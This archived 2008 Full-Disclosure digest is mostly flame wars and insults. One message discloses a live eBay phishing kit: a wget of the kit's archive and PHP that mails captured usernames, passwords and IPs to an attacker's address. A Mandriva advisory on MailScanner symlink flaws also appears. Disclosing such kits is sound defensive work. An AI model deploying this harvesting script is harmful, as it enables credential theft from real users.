|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
From: Dowling, Gabrielle (gdowling
proskauer.com)
Date: Mon Dec 22 2008 - 23:23:48 CST
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
You know, the discourse on this list singiularly manifests the problems in it security these days.
I have remained subscribed for a couple of years as I thought there was occasaional snippets of useful informatiion, .
There obviously is no reason to continue here.
This list has devolved to an argument between nt whateber and urleet.
I cannot remember something important was broached on this list'.
If security is important, how do we allow it to be so trivialized by the comments on this forum, and how do we get our budgets through in such a harsh econo$y?
--------------------------
Sent from my BlackBerry Wireless Handheld
----- Original Message -----
From: full-disclosure-bounces
lists.grok.org.uk <full-disclosure-bounces
lists.grok.org.uk>
To: full-disclosure
lists.grok.org.uk <full-disclosure
lists.grok.org.uk>
Sent: Mon Dec 22 18:12:41 2008
Subject: Full-Disclosure Digest, Vol 46, Issue 43
Send Full-Disclosure mailing list submissions to
full-disclosure
lists.grok.org.uk
To subscribe or unsubscribe via the World Wide Web, visit
https://lists.grok.org.uk/mailman/listinfo/full-disclosure
or, via email, send a message with subject or body 'help' to
full-disclosure-request
lists.grok.org.uk
You can reach the person managing the list at
full-disclosure-owner
lists.grok.org.uk
When replying, please edit your Subject line so it is more specific
than "Re: Contents of Full-Disclosure digest..."
Note to digest recipients - when replying to digest posts, please trim your post appropriately. Thank you.
Today's Topics:
1. Re: Microsoft issues out-of-band patch (j-f sentier)
2. Re: Microsoft issues out-of-band patch (n3td3v)
3. Re: Microsoft issues out-of-band patch (Bipin Gautam)
4. Fresh Phish anyone? (Kevin Finisterre (lists))
5. Re: o lookie, n3td3v is lying elsewhere now (Ureleet)
6. Re: Microsoft issues out-of-band patch (Ureleet)
7. Re: Microsoft issues out-of-band patch (Ureleet)
8. Re: Microsoft issues out-of-band patch (Ureleet)
9. Re: Microsoft issues out-of-band patch (Ureleet)
10. Re: o lookie, n3td3v is lying elsewhere now (n3td3v)
11. Re: o lookie, n3td3v is lying elsewhere now (n3td3v)
12. Re: Hotmail easter-egg found using Tamper Data....
(James Matthews)
13. [ MDVA-2008:241 ] mailscanner (security
mandriva.com)
14. Re: o lookie, n3td3v is lying elsewhere now (n3td3v)
15. Re: o lookie, n3td3v is lying elsewhere now (Everett Maus)
16. Re: o lookie, n3td3v is lying elsewhere now (waveroad waveroad)
17. Re: o lookie, n3td3v is lying elsewhere now (n3td3v)
18. Re: o lookie, n3td3v is lying elsewhere now (n3td3v)
19. Re: Fresh Phish anyone? (anonymous pimp)
20. Re: Fresh Phish anyone? (Kevin Finisterre (lists))
21. Re: Fresh Phish anyone? (n3td3v)
22. Re: o lookie, n3td3v is lying elsewhere now (j-f sentier)
23. Re: Fresh Phish anyone? (Valdis.Kletnieks
vt.edu)
24. Re: Fresh Phish anyone? (j-f sentier)
25. This list has run its course (n3td3v)
26. Re: Fresh Phish anyone? (n3td3v)
27. Re: This list has run its course (n3td3v)
28. Barracuda Reputation Block List (Elazar Broad)
----------------------------------------------------------------------
Message: 1
Date: Mon, 22 Dec 2008 12:56:19 -0500
From: "j-f sentier" <j.sentiar
gmail.com>
Subject: Re: [Full-disclosure] Microsoft issues out-of-band patch
To: n3td3v <xploitable
gmail.com>, full-disclosure
lists.grok.org.uk
Message-ID:
<6f80feaf0812220956r1de6cb2dnf51c5d82ffa04553
mail.gmail.com>
Content-Type: text/plain; charset="iso-8859-1"
Who will be dumb enough to give a job to a piece of shit like you ?
2008/12/22, n3td3v <xploitable
gmail.com>:
>
> Maybe MI5 will tap me on the shoulder and offer me a job. :)
>
>
> On Mon, Dec 22, 2008 at 5:13 PM, Udi Shamir <udishamir
yahoo.com> wrote:
> > There is always singing bird but the odds are thin
> >
> > Sent from my iPhone
> >
> > On Dec 22, 2008, at 19:10, n3td3v <xploitable
gmail.com> wrote:
> >
> > On Mon, Dec 22, 2008 at 4:44 PM, Michael Krymson <krymson
gmail.com>
> wrote:
> > Fact? Now you're really needing to cite some sources or backing,
> otherwise
> > this is, in fact, not fact.
> >
> > Where would I get the source from if its a secret intelligence agency?
> > Find an MI5 spy out of a hat and tell him to come on full-disclosure
> > to back me up?
> >
> > Unlikely to happen, no?
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
> >
> >
> >
> >
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20081222/b12de591/attachment-0001.html
------------------------------
Message: 2
Date: Mon, 22 Dec 2008 18:16:43 +0000
From: n3td3v <xploitable
gmail.com>
Subject: Re: [Full-disclosure] Microsoft issues out-of-band patch
To: "j-f sentier" <j.sentiar
gmail.com>,
full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221016j7771c236v12e2a828d52768b7
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
MI5
On Mon, Dec 22, 2008 at 5:56 PM, j-f sentier <j.sentiar
gmail.com> wrote:
> Who will be dumb enough to give a job to a piece of shit like you ?
>
>
> 2008/12/22, n3td3v <xploitable
gmail.com>:
>>
>> Maybe MI5 will tap me on the shoulder and offer me a job. :)
>>
>>
>> On Mon, Dec 22, 2008 at 5:13 PM, Udi Shamir <udishamir
yahoo.com> wrote:
>> > There is always singing bird but the odds are thin
>> >
>> > Sent from my iPhone
>> >
>> > On Dec 22, 2008, at 19:10, n3td3v <xploitable
gmail.com> wrote:
>> >
>> > On Mon, Dec 22, 2008 at 4:44 PM, Michael Krymson <krymson
gmail.com>
>> > wrote:
>> > Fact? Now you're really needing to cite some sources or backing,
>> > otherwise
>> > this is, in fact, not fact.
>> >
>> > Where would I get the source from if its a secret intelligence agency?
>> > Find an MI5 spy out of a hat and tell him to come on full-disclosure
>> > to back me up?
>> >
>> > Unlikely to happen, no?
>> >
>> > _______________________________________________
>> > Full-Disclosure - We believe in it.
>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> > Hosted and sponsored by Secunia - http://secunia.com/
>> >
>> >
>> >
>> >
>> >
>> >
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>
------------------------------
Message: 3
Date: Tue, 23 Dec 2008 00:09:31 +0545
From: "Bipin Gautam" <bipin.gautam
gmail.com>
Subject: Re: [Full-disclosure] Microsoft issues out-of-band patch
To: "j-f sentier" <j.sentiar
gmail.com>
Cc: full-disclosure
lists.grok.org.uk
Message-ID:
<754924960812221024s6dba9446j884886204fd6284e
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Stop acting like in adolescence. I am 23, how old are you guys? DONT
YOU GET IT, FD is a "professional forum" for GOD's shake!
------------------------------
Message: 4
Date: Mon, 22 Dec 2008 13:32:50 -0500
From: "Kevin Finisterre (lists)" <kf_lists
digitalmunition.com>
Subject: [Full-disclosure] Fresh Phish anyone?
To: Full Disclosure <full-disclosure
lists.grok.org.uk>
Message-ID: <7E85B3DA-8312-4DE9-AA93-E62157E76EE8
digitalmunition.com>
Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes
>
Someone is bored and out making the rounds exploiting random asp pages
and web-services.
wget http://www.adehkz.net/eb.zip
<?php
session_start();
$userid = $_POST['userid'];
$password = $_POST['password'];
$ip = getenv("REMOTE_ADDR");
$subj = "eB - $userid";
$msg = "Username: $userid\nPassword: $password\n....\nIP: $ip";
mail("asdfwr
gmail.com", $subj, $msg);
header("Location: https://signin.ebay.com/ws/eBayISAPI.dll?SignIn&errmsg=8&pUserId=&co_partnerId=2&siteid=0&pageType=1883&pa1=&i1=-1&UsingSSL=1&bshowgif=0&favoritenav=&ru=http%3A%2F%2Fmy.ebay.com%2Fws%2FeBayISAPI.dll%3FMyeBay&pp=&migrateVisitor=1
");
?>
I passed this on to the SANS handlers a few days ago but the site is
still up and running.
Enjoy
-KF
------------------------------
Message: 5
Date: Mon, 22 Dec 2008 14:17:09 -0500
From: Ureleet <ureleet
gmail.com>
Subject: Re: [Full-disclosure] o lookie, n3td3v is lying elsewhere now
To: n3td3v <xploitable
gmail.com>
Cc: full-disclosure
lists.grok.org.uk
Message-ID:
<6158bb410812221117j4201ee6ep2045482de5c99a5
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
On Mon, Dec 22, 2008 at 8:33 AM, n3td3v <xploitable
gmail.com> wrote:
> On Mon, Dec 22, 2008 at 1:26 PM, Ureleet <ureleet
gmail.com> wrote:
>> u say u r a badass hacker
>
> When?
>
o, i m sure someone who has more time on their hands could at least
find references where u claim 2 b an eleet hax0r.
this is a favorite of mine tho:
http://forum.crime-research.org/-vp3073.html?sid=172c1ebba153817877ca67d3de837933
------------------------------
Message: 6
Date: Mon, 22 Dec 2008 14:18:31 -0500
From: Ureleet <ureleet
gmail.com>
Subject: Re: [Full-disclosure] Microsoft issues out-of-band patch
To: n3td3v <xploitable
gmail.com>
Cc: full-disclosure
lists.grok.org.uk
Message-ID:
<6158bb410812221118t247acf7etbb1cf7c996f9fce8
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
On Mon, Dec 22, 2008 at 12:10 PM, n3td3v <xploitable
gmail.com> wrote:
> On Mon, Dec 22, 2008 at 4:44 PM, Michael Krymson <krymson
gmail.com> wrote:
>> Fact? Now you're really needing to cite some sources or backing, otherwise
>> this is, in fact, not fact.
>
> Where would I get the source from if its a secret intelligence agency?
> Find an MI5 spy out of a hat and tell him to come on full-disclosure
> to back me up?
>
> Unlikely to happen, no?
>
so u just lied agin? publicaly? while u say things r fact, and they
are in fact not fact? when do we take u srsly? stop lying.
------------------------------
Message: 7
Date: Mon, 22 Dec 2008 14:18:44 -0500
From: Ureleet <ureleet
gmail.com>
Subject: Re: [Full-disclosure] Microsoft issues out-of-band patch
To: "Bipin Gautam" <bipin.gautam
gmail.com>
Cc: full-disclosure
lists.grok.org.uk
Message-ID:
<6158bb410812221118x21acc2f7te314f728bdfb0731
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
On Mon, Dec 22, 2008 at 1:24 PM, Bipin Gautam <bipin.gautam
gmail.com> wrote:
> Stop acting like in adolescence. I am 23, how old are you guys? DONT
> YOU GET IT, FD is a "professional forum" for GOD's shake!
since when?
------------------------------
Message: 8
Date: Mon, 22 Dec 2008 14:19:18 -0500
From: Ureleet <ureleet
gmail.com>
Subject: Re: [Full-disclosure] Microsoft issues out-of-band patch
To: n3td3v <xploitable
gmail.com>
Cc: full-disclosure
lists.grok.org.uk
Message-ID:
<6158bb410812221119p3eb67698pf9eeef8222191df2
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
On Mon, Dec 22, 2008 at 1:16 PM, n3td3v <xploitable
gmail.com> wrote:
> MI5
>
> On Mon, Dec 22, 2008 at 5:56 PM, j-f sentier <j.sentiar
gmail.com> wrote:
>> Who will be dumb enough to give a job to a piece of shit like you ?
so now u say u work for mi5? any1 else read that like i just did?
------------------------------
Message: 9
Date: Mon, 22 Dec 2008 14:19:36 -0500
From: Ureleet <ureleet
gmail.com>
Subject: Re: [Full-disclosure] Microsoft issues out-of-band patch
To: n3td3v <xploitable
gmail.com>
Cc: full-disclosure
lists.grok.org.uk
Message-ID:
<6158bb410812221119p31394632m4bca0cbb8f771eec
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
On Mon, Dec 22, 2008 at 12:39 PM, n3td3v <xploitable
gmail.com> wrote:
> Maybe MI5 will tap me on the shoulder and offer me a job. :)
>
u wish kid.
------------------------------
Message: 10
Date: Mon, 22 Dec 2008 19:38:10 +0000
From: n3td3v <xploitable
gmail.com>
Subject: Re: [Full-disclosure] o lookie, n3td3v is lying elsewhere now
To: Ureleet <ureleet
gmail.com>, full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221138l390f4f62x81108af9f835365
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
On Mon, Dec 22, 2008 at 7:17 PM, Ureleet <ureleet
gmail.com> wrote:
> On Mon, Dec 22, 2008 at 8:33 AM, n3td3v <xploitable
gmail.com> wrote:
>> On Mon, Dec 22, 2008 at 1:26 PM, Ureleet <ureleet
gmail.com> wrote:
>>> u say u r a badass hacker
>>
>> When?
>>
>
> o, i m sure someone who has more time on their hands could at least
> find references where u claim 2 b an eleet hax0r.
>
> this is a favorite of mine tho:
> http://forum.crime-research.org/-vp3073.html?sid=172c1ebba153817877ca67d3de837933
>
If only you knew t34ch_m3_h0w_t0_h4ck is a Yahoo! employee and I was
making fun of it while trying to get intelligence on folks from that
forum.
We used to collect intelligence together and information share about hackers.
You can contact t34ch_m3_h0w_t0_h4ck here: http://metal.hurlant.com/blog/
Or email him here: henri_torgemane
yahoo.com
Or his corporate email at henrit
yahoo-inc.com if you don't believe me.
I have never told a lie...
------------------------------
Message: 11
Date: Mon, 22 Dec 2008 19:44:53 +0000
From: n3td3v <xploitable
gmail.com>
Subject: Re: [Full-disclosure] o lookie, n3td3v is lying elsewhere now
To: "Ben Preston" <benjamin.preston
gmail.com>,
full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221144n3884c54ft1acf7886f3ea8628
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
The group is not for youngsters its for serious intelligencers, any
youngsters who join get banned.
On Mon, Dec 22, 2008 at 7:42 PM, Ben Preston <benjamin.preston
gmail.com> wrote:
> No, they subscribed because they were hoping it would be the same
> un-tellectual junkshow that they get to see on FD. You're the only
> one making any noise on it so it turns out to be more like watching a
> mental patient through a one-way mirror. You manage to lure in
> impressionable youngsters and those who lack experience with English
> who have no idea that you're just spewing nonsense. They seem to be
> part of the few who engage in thread conversations in your group,
> however briefly. They catch on pretty quick.
>
> Please stop bloviating about your silly "group". It's not lending you
> any credence.
>
> Warmest regards,
>
> --
>
> Ben
>
------------------------------
Message: 12
Date: Mon, 22 Dec 2008 21:55:17 +0200
From: "James Matthews" <nytrokiss
gmail.com>
Subject: Re: [Full-disclosure] Hotmail easter-egg found using Tamper
Data....
To: "Stephen Menard" <smenard
nbnet.nb.ca>
Cc: full-disclosure
lists.grok.org.uk
Message-ID:
<8a6b8e350812221155x40f46009ye97414f923adb008
mail.gmail.com>
Content-Type: text/plain; charset="koi8-r"
It's quite cute :) Nice to know someone at microsoft has a lighter side.
On Sun, Dec 21, 2008 at 11:52 PM, Stephen Menard <smenard
nbnet.nb.ca>wrote:
> Kristo pher wrote:
> > You need to obscure the images you post to FD better my friend. For
> example, I can tell that you are a PhD student at University College London,
> Faculty of Biomedical Sciences, Institute of Neurology Department of Brain
> Repair & Rehabilitation and your alternative email is
> m.machizawa
ucl.ac.uk
> >
> >
> >
> > ????? Mail.Ru ????? ? ??????!
> > http://r.mail.ru/cln4786/agent.mail.ru/ru/
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> what tool[s] allows you to access this [?meta data?] from the posting
> pleass?
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
--
http://www.astorandblack.com/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20081222/ca62e4d3/attachment-0001.html
------------------------------
Message: 13
Date: Mon, 22 Dec 2008 13:07:00 -0700
From: security
mandriva.com
Subject: [Full-disclosure] [ MDVA-2008:241 ] mailscanner
To: full-disclosure
lists.grok.org.uk
Message-ID: <E1LEr3M-0007uT-O6
titan.mandriva.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
_______________________________________________________________________
Mandriva Linux Security Advisory MDVA-2008:241
http://www.mandriva.com/security/
_______________________________________________________________________
Package : mailscanner
Date : December 22, 2008
Affected: Corporate 4.0
_______________________________________________________________________
Problem Description:
Local users can use symlink attacks throughout a flaw on
trend-autoupdate script of MailScanner by using /tmp/opr.ini.#####
or /tmp/lpt temporary file (CVE-2008-5140).
Local users can use symlink attacks throughout flaws on
clamav-autoupdate, panda-autoupdate and rav-autoupdate scripts of
MailScanner by using ClamAV.update.log, pav.zip and RavBusy.lock
temporary files (CVE-2008-5312).
Local users can use symlink attacks throughout flaws on
kaspersky-wrapper, bitdefender-wrapper, rav-wrapper scripts and
Quarentine.pm, TNEF.pm, SA.pm, WorkArea.pm MailScanner perl modules
by using kavoutput.tmp.27073, log.bdc.27073, report.vir.27073,
MailScanner.ownertest.27073, tnef.27073 and MS.bayes.rebuild.lock
temporary files (CVE-2008-5313).
Further MailScanner had symlink flaws on antivir-autoupdate,
bitdefender-autoupdate, clamav-autoupdate, etrust-autoupdate,
generic-autoupdate, inoculan-autoupdate, kaspersky-autoupdate,
nod32-autoupdate, norman-autoupdate, rav-autoupdate,
sophos-autoupdate, symscanengine-autoupdate, vexira-autoupdate,
f-prot-autoupdate and css-autoupdate scripts under following
temporary vulnerable files: AntiVirBusy.lock, BitDefenderBusy.lock,
ClamAVBusy.lock, eTrustBusy.lock, GenericBusy.lock, InoculanBusy.lock,
KasperskyBusy.lock, Nod32Busy.lock, NormanBusy.lock, RavBusy.lock,
SophosBusy.lock, SymScanEngineBusy.lock, VexiraBusy.lock,
FProtBusy.lock and SYMCScan.lock.
This update provides fix for all symlink flaws described on this
security advisory.
_______________________________________________________________________
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5140
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5312
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5313
_______________________________________________________________________
Updated Packages:
Corporate 4.0:
4e93bc7c48ec8f65122d263237b99ec9 corporate/4.0/i586/mailscanner-4.55.9_1-3.1.20060mlcs4.noarch.rpm
f92acdbed4f63778609726eaa2dc8fd1 corporate/4.0/i586/mailscanner-spamassassin-4.55.9_1-3.1.20060mlcs4.noarch.rpm
35f1b7e0cc1534def4394e7bec95ab48 corporate/4.0/SRPMS/mailscanner-4.55.9_1-3.1.20060mlcs4.src.rpm
Corporate 4.0/X86_64:
4e93bc7c48ec8f65122d263237b99ec9 corporate/4.0/x86_64/mailscanner-4.55.9_1-3.1.20060mlcs4.noarch.rpm
f92acdbed4f63778609726eaa2dc8fd1 corporate/4.0/x86_64/mailscanner-spamassassin-4.55.9_1-3.1.20060mlcs4.noarch.rpm
35f1b7e0cc1534def4394e7bec95ab48 corporate/4.0/SRPMS/mailscanner-4.55.9_1-3.1.20060mlcs4.src.rpm
_______________________________________________________________________
To upgrade automatically use MandrivaUpdate or urpmi. The verification
of md5 checksums and GPG signatures is performed automatically for you.
All packages are signed by Mandriva for security. You can obtain the
GPG public key of the Mandriva Security Team by executing:
gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98
You can view other update advisories for Mandriva Linux at:
http://www.mandriva.com/security/advisories
If you want to report vulnerabilities, please contact
security_(at)_mandriva.com
_______________________________________________________________________
Type Bits/KeyID Date User ID
pub 1024D/22458A98 2000-07-10 Mandriva Security Team
<security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iD8DBQFJT8jcmqjQ0CJFipgRArRHAKDH4O/m1AfoakbcAK7monhnYH5eywCg8m1k
OPwl0ksaHvGa9rLs78PtnwQ=
=St+b
-----END PGP SIGNATURE-----
------------------------------
Message: 14
Date: Mon, 22 Dec 2008 20:12:22 +0000
From: n3td3v <xploitable
gmail.com>
Subject: Re: [Full-disclosure] o lookie, n3td3v is lying elsewhere now
To: "Everett Maus" <them.root
gmail.com>,
full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221212r661ce6c9v184d33bf67d464be
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Maybe it's the "n3td3v"?
On Mon, Dec 22, 2008 at 8:07 PM, Everett Maus <them.root
gmail.com> wrote:
> Could've fooled me.
>
> n3td3v wrote:
>>
>> The group is not for youngsters its for serious intelligencers, any
>> youngsters who join get banned.
>>
>> On Mon, Dec 22, 2008 at 7:42 PM, Ben Preston <benjamin.preston
gmail.com>
>> wrote:
>>
>>>
>>> No, they subscribed because they were hoping it would be the same
>>> un-tellectual junkshow that they get to see on FD. You're the only
>>> one making any noise on it so it turns out to be more like watching a
>>> mental patient through a one-way mirror. You manage to lure in
>>> impressionable youngsters and those who lack experience with English
>>> who have no idea that you're just spewing nonsense. They seem to be
>>> part of the few who engage in thread conversations in your group,
>>> however briefly. They catch on pretty quick.
>>>
>>> Please stop bloviating about your silly "group". It's not lending you
>>> any credence.
>>>
>>> Warmest regards,
>>>
>>> --
>>>
>>> Ben
>>>
>>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>>
>
>
------------------------------
Message: 15
Date: Mon, 22 Dec 2008 15:07:31 -0500
From: Everett Maus <them.root
gmail.com>
Subject: Re: [Full-disclosure] o lookie, n3td3v is lying elsewhere now
To: n3td3v <xploitable
gmail.com>
Cc: full-disclosure
lists.grok.org.uk
Message-ID: <494FF383.4080907
gmail.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Could've fooled me.
n3td3v wrote:
> The group is not for youngsters its for serious intelligencers, any
> youngsters who join get banned.
>
> On Mon, Dec 22, 2008 at 7:42 PM, Ben Preston <benjamin.preston
gmail.com> wrote:
>
>> No, they subscribed because they were hoping it would be the same
>> un-tellectual junkshow that they get to see on FD. You're the only
>> one making any noise on it so it turns out to be more like watching a
>> mental patient through a one-way mirror. You manage to lure in
>> impressionable youngsters and those who lack experience with English
>> who have no idea that you're just spewing nonsense. They seem to be
>> part of the few who engage in thread conversations in your group,
>> however briefly. They catch on pretty quick.
>>
>> Please stop bloviating about your silly "group". It's not lending you
>> any credence.
>>
>> Warmest regards,
>>
>> --
>>
>> Ben
>>
>>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>
------------------------------
Message: 16
Date: Mon, 22 Dec 2008 15:15:47 -0500
From: "waveroad waveroad" <waveroad
gmail.com>
Subject: Re: [Full-disclosure] o lookie, n3td3v is lying elsewhere now
To: full-disclosure
lists.grok.org.uk
Message-ID:
<296a304a0812221215y5f4afcb5sb78aa64e16909551
mail.gmail.com>
Content-Type: text/plain; charset="iso-8859-1"
Mine is that one:
http://www.bigblueball.com/forums/search.php?searchid=903472
http://www.bigblueball.com/forums/bigblueball-lounge/27558-n3td3vs-reputation-d.html
etc ..
N3td3v's quote of the day : "Trust me, if you want to be rude, i'll be rude
back to you, and if you keep doing it, i'll make sure this website gets
hacked."
(http://www.bigblueball.com/forums/forum-support/28972-serious-post.html)
It's funny to hear that from a guy who say: "we're letting the bad guys win,
whitehat powaa, i'm serious, MI5 will hire me one day, etc"
2008/12/22 Ureleet <ureleet
gmail.com>
> this is a favorite of mine tho:
>
> http://forum.crime-research.org/-vp3073.html?sid=172c1ebba153817877ca67d3de837933
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20081222/a71af368/attachment-0001.html
------------------------------
Message: 17
Date: Mon, 22 Dec 2008 20:31:16 +0000
From: n3td3v <xploitable
gmail.com>
Subject: Re: [Full-disclosure] o lookie, n3td3v is lying elsewhere now
To: "waveroad waveroad" <waveroad
gmail.com>,
full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221231q52f0ff59mf15365962f26e9cd
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Looks like you've been joe jobbed, not just the folks on that forum.
On Mon, Dec 22, 2008 at 8:15 PM, waveroad waveroad <waveroad
gmail.com> wrote:
> Mine is that one:
> http://www.bigblueball.com/forums/search.php?searchid=903472
> http://www.bigblueball.com/forums/bigblueball-lounge/27558-n3td3vs-reputation-d.html
> etc ..
>
> N3td3v's quote of the day : "Trust me, if you want to be rude, i'll be rude
> back to you, and if you keep doing it, i'll make sure this website gets
> hacked."
> (http://www.bigblueball.com/forums/forum-support/28972-serious-post.html)
>
> It's funny to hear that from a guy who say: "we're letting the bad guys win,
> whitehat powaa, i'm serious, MI5 will hire me one day, etc"
>
> 2008/12/22 Ureleet <ureleet
gmail.com>
>>
>> this is a favorite of mine tho:
>>
>> http://forum.crime-research.org/-vp3073.html?sid=172c1ebba153817877ca67d3de837933
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
------------------------------
Message: 18
Date: Mon, 22 Dec 2008 20:57:47 +0000
From: n3td3v <xploitable
gmail.com>
Subject: Re: [Full-disclosure] o lookie, n3td3v is lying elsewhere now
To: full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221257l60e23b0brdff04e8eb176bf33
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
And the folks who are subscribed to "funsec" have been lured in by Gadi Evron.
Look's like the intelligence services have got all their bases covered.
Likewise, you've all been lured into Full-disclosure and Bugtraq, but
what's *really* going on?
Take it easy,
On Mon, Dec 22, 2008 at 8:12 PM, n3td3v <xploitable
gmail.com> wrote:
> Maybe it's the "n3td3v"?
>
> On Mon, Dec 22, 2008 at 8:07 PM, Everett Maus <them.root
gmail.com> wrote:
>> Could've fooled me.
>>
>> n3td3v wrote:
>>>
>>> The group is not for youngsters its for serious intelligencers, any
>>> youngsters who join get banned.
>>>
>>> On Mon, Dec 22, 2008 at 7:42 PM, Ben Preston <benjamin.preston
gmail.com>
>>> wrote:
>>>
>>>>
>>>> No, they subscribed because they were hoping it would be the same
>>>> un-tellectual junkshow that they get to see on FD. You're the only
>>>> one making any noise on it so it turns out to be more like watching a
>>>> mental patient through a one-way mirror. You manage to lure in
>>>> impressionable youngsters and those who lack experience with English
>>>> who have no idea that you're just spewing nonsense. They seem to be
>>>> part of the few who engage in thread conversations in your group,
>>>> however briefly. They catch on pretty quick.
>>>>
>>>> Please stop bloviating about your silly "group". It's not lending you
>>>> any credence.
>>>>
>>>> Warmest regards,
>>>>
>>>> --
>>>>
>>>> Ben
>>>>
>>>>
>>>
>>> _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>
>>>
>>
>>
>
------------------------------
Message: 19
Date: Mon, 22 Dec 2008 23:24:04 +0200
From: "anonymous pimp" <anonymouspimp
gmail.com>
Subject: Re: [Full-disclosure] Fresh Phish anyone?
To: "Kevin Finisterre (lists)" <kf_lists
digitalmunition.com>
Cc: Full Disclosure <full-disclosure
lists.grok.org.uk>
Message-ID:
<2d792fb20812221324q591946deh32e7ec03c3bfe44f
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
What kind of a skiddie fuck sends every phished account to his email?
This is the kind of phish every 12 year old kid on both sides of
Turkey uses. Is this supposed to make you seem smart?
gtfo of fd.
------------------------------
Message: 20
Date: Mon, 22 Dec 2008 16:30:03 -0500
From: "Kevin Finisterre (lists)" <kf_lists
digitalmunition.com>
Subject: Re: [Full-disclosure] Fresh Phish anyone?
To: Full Disclosure <full-disclosure
lists.grok.org.uk>
Message-ID: <4D08E454-3534-4DB4-B589-161DC976D8AF
digitalmunition.com>
Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes
On Dec 22, 2008, at 4:24 PM, anonymous pimp wrote:
> What kind of a skiddie fuck sends every phished account to his email?
Who the hell knows... maybe someone here that was bored is interested
in looking into that.
> This is the kind of phish every 12 year old kid on both sides of
> Turkey uses.
Sweet, is knowing that supposed to make you look like a ninja?
> Is this supposed to make you seem smart?
Yup.... see how s m r t I be
> gtfo of fd.
No problem... I'd been away for some time now. Sorry I bothered
dropping in.
-KF
------------------------------
Message: 21
Date: Mon, 22 Dec 2008 21:53:29 +0000
From: n3td3v <xploitable
gmail.com>
Subject: Re: [Full-disclosure] Fresh Phish anyone?
To: kf_lists
digitalmunition.com, full-disclosure
lists.grok.org.uk
Message-ID:
<4b6ee9310812221353u15d9c055sbcf6ecfb533a0603
mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
On Mon, Dec 22, 2008 at 9:30 PM, Kevin Finisterre (lists)
<kf_lists
digitalmunition.com> wrote:
>> gtfo of fd.
>
> No problem... I'd been away for some time now. Sorry I bothered
> dropping in.
>
> -KF
Don't worry, they tell me to GTFO of FD as well.
It seems the real researchers aren't welcome here anymore.
:(
------------------------------
Message: 22
Date: Mon, 22 Dec 2008 17:34:06 -0500
From: "j-f sentier" <j.sentiar
gmail.com>
Subject: Re: [Full-disclosure] o lookie, n3td3v is lying elsewhere now
To: n3td3v <xploitable
gmail.com>, full-disclosure
lists.grok.org.uk
Message-ID:
<6f80feaf0812221434o4232c660j65375aacefcddad0
mail.gmail.com>
Content-Type: text/plain; charset="iso-8859-1"
